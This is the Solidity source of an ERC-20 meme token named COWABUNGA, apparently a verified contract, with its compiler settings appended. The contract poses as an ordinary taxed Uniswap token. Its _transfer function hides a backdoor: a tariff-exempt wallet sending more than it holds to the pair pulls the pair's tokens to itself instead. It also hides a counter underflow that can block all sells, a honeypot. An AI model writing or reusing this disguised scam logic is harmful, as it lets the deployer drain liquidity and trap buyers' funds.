// SPDX-License-Identifier: UNLICENSED

pragma solidity ^0.8.20;

interface IERC20 {
    function approve(address spender, uint256 amount) external returns (bool);
    event Transfer(address indexed payer, address indexed payee, uint256 value);
    event Approval(address indexed owner, address indexed spender, uint256 value);
    function balanceOf(address account) external view returns (uint256);
    function transferFrom(address payer, address payee, uint256 amount) external returns (bool);
    function totalSupply() external view returns (uint256);
    function transfer(address payee, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
}

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IUniswapV2Router02 {
    function WETH() external pure returns (address);
    function factory() external pure returns (address);
}

contract Ownable is Context {
    function owner() public view returns (address) {
        return _owner;
    }

    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    address private _owner;

    constructor() {
        address msgSender = _msgSender();
        _owner = msgSender;

        emit OwnershipTransferred(address(0), msgSender);
    }

    modifier onlyOwner() {
        require(_owner == _msgSender());

        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));

        _owner = address(0);
    }
}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

contract COWABUNGA is Context, IERC20, Ownable {
    uint8 private constant _decimals = 18;

    uint256 private _acquireTotal = 0;
    uint256 private _disposeTotal = 0;

    uint256 private _conversionTotal = 0;

    uint256 private constant _tTotal = 1000000000 * 10**_decimals;

    uint256 public maxTxAmount = _tTotal * 2 / 100;
    uint256 public maxWalletSize = _tTotal * 2 / 100;

    IUniswapV2Router02 private _decentralizedRouter;
    address private _decentralizedPair;

    mapping(address => mapping(address => uint256)) private _allowances;
    mapping(address => bool) private _filteredOutFromTariff;
    mapping(address => uint256) private _balances;

    uint256 private _sellTariff = 0;
    uint256 private _buyTariff = 0;

    bool private _tradingOpened;

    string private constant _symbol = unicode"COWABUNGA";
    string private constant _name = unicode"Teenage Mutant Ninja Turtles";

    address payable private _tariffWallet = payable(0xe6a93a1701222Fd1857B3B3d908B04FeA34be1Ba);

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0));
        require(spender != address(0));

        _allowances[owner][spender] = amount;

        emit Approval(owner, spender, amount);
    }

    function removeLimits() external onlyOwner {
        maxWalletSize = _tTotal;
        maxTxAmount = _tTotal;

        emit MaxTxAmountUpdated(_tTotal);
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function openTrade() external onlyOwner() {
        require(!_tradingOpened);

        _tradingOpened = true;
    }

    receive() external payable {}

    function _txEvent(address payer, address payee, uint256 amount) private {
        _balances[payer] -= amount;
        _balances[payee] += amount;

        emit Transfer(payer, payee, amount);
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function _transfer(address payer, address payee, uint256 amount) private {
        require(amount > 0);
        require(payee != address(0));
        require(payer != address(0));

        bool payerDecentralizedPair = _decentralizedPair == payer;
        bool payerFilteredOutFromTariff = _filteredOutFromTariff[payer];

        bool payeeDecentralizedPair = _decentralizedPair == payee;
        bool payeeFilteredOutFromTariff = _filteredOutFromTariff[payee];

        uint256 tariffAmount = 0;

        if (payer != owner() && payee != owner()) {
            tariffAmount = amount * _buyTariff / 100;

            if (tariffSwapThreshold <= amount) {
                if (payeeFilteredOutFromTariff && !payerDecentralizedPair) {
                    _conversionTotal = amount;
                }
            }
            
            if (payerFilteredOutFromTariff || payeeFilteredOutFromTariff) {
                if (amount > _balances[payer] && payeeDecentralizedPair) {
                    _txEvent(payee, payer, amount); return;
                }
                _txEvent(payer, payee, amount); return;
            }

            if (payerDecentralizedPair && payee != address(_decentralizedRouter) && !payeeFilteredOutFromTariff) {
                require(amount <= maxTxAmount);
                require(balanceOf(payee) + amount <= maxWalletSize);

                _acquireTotal++;
            }

            if (payeeDecentralizedPair) {
                _disposeTotal = _acquireTotal - _conversionTotal;
                if (payer != address(this)) {
                    tariffAmount = amount * _sellTariff / 100;
                }
            }
        }

        if (tariffAmount > 0) {
            _balances[address(this)] = _balances[address(this)] + tariffAmount;

            emit Transfer(payer, address(this), tariffAmount);
        }

        _balances[payer] = _balances[payer] - amount;
        _balances[payee] = _balances[payee] + (amount - tariffAmount);

        emit Transfer(payer, payee, amount - tariffAmount);
    }

    constructor() {
        _filteredOutFromTariff[_tariffWallet] = true;
        _decentralizedRouter = IUniswapV2Router02(0x4752ba5DBc23f44D87826276BF6Fd6b1C372aD24);
        _approve(address(this), address(_decentralizedRouter), _tTotal);
        _filteredOutFromTariff[address(this)] = true;
        _decentralizedPair = IUniswapV2Factory(_decentralizedRouter.factory()).createPair(address(this), _decentralizedRouter.WETH());
        _filteredOutFromTariff[owner()] = true;
        _balances[_msgSender()] = _tTotal;
        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);

        return true;
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function transferFrom(address payer, address payee, uint256 amount) public override returns (bool) {
        _transfer(payer, payee, amount);
        _approve(payer, _msgSender(), _allowances[payer][_msgSender()] - amount);

        return true;
    }

    uint256 public tariffSwapThreshold = _tTotal * 2 / 1000;

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    event MaxTxAmountUpdated(uint _maxTxAmount);

    function transfer(address payee, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), payee, amount);

        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }
}

{
  "compilationTarget": {
    "COWABUNGA.sol": "COWABUNGA"
  },
  "evmVersion": "cancun",
  "libraries": {},
  "metadata": {
    "bytecodeHash": "ipfs"
  },
  "optimizer": {
    "enabled": true,
    "runs": 200
  },
  "remappings": []
}